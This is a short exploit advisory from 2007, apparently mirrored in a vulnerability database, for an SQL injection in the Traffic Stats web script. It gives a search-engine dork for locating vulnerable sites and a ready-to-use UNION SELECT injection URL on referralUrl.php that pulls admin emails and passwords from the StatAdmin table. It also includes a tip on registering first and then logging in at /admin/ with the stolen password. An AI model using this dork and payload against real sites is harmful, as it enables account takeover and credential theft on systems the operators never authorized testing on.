Traffic Stats (referralUrl.php offset) Remote SQL Injection Vulnerbility

🗓️ 17 Jul 2007 00:00:00Reported by RootType

Traffic Stats Remote SQL Injection Vulnerbility, pull admin email/password


                                                --==+================================================================================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Traffic&nbsp;Stats&nbsp;SQL&nbsp;Injection&nbsp;Vulnerbility&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--



AUTHOR:&nbsp;t0pP8uZz&nbsp;&amp;&nbsp;xprog
SITE:&nbsp;N/A
DORK:&nbsp;allintext:&quot;&nbsp;If&nbsp;you&nbsp;would&nbsp;like&nbsp;to&nbsp;contact&nbsp;us,&nbsp;our&nbsp;email&nbsp;address&nbsp;is&quot;&nbsp;traffic


DESCRIPTION:
pull&nbsp;out&nbsp;admin&nbsp;email/passwords


EXPLOITS:
http://server.com/Script_Dir/referralUrl.php?offset=-1/**/UNION%20ALL/**/SELECT%/**/1,2,concat(email,0x3a,password)/**/FROM/**/StatAdmin/*


NOTE/TIP:
first&nbsp;you&nbsp;must&nbsp;register&nbsp;a&nbsp;account&nbsp;then&nbsp;click&nbsp;ad&nbsp;site,&nbsp;and&nbsp;add&nbsp;random&nbsp;sites,&nbsp;then&nbsp;paste&nbsp;injection
admin&nbsp;login&nbsp;is&nbsp;at&nbsp;/admin/&nbsp;only&nbsp;password&nbsp;is&nbsp;needed&nbsp;:D


GREETZ:&nbsp;milw0rm.com,&nbsp;H4CKY0u.org,&nbsp;G0t-Root.net/G0t-Root.org&nbsp;!


--==+================================================================================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Traffic&nbsp;Stats&nbsp;SQL&nbsp;Injection&nbsp;Vulnerbility&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+================================================================================+==--

17 Jul 2007 00:00Current

7.1High risk

Vulners AI Score7.1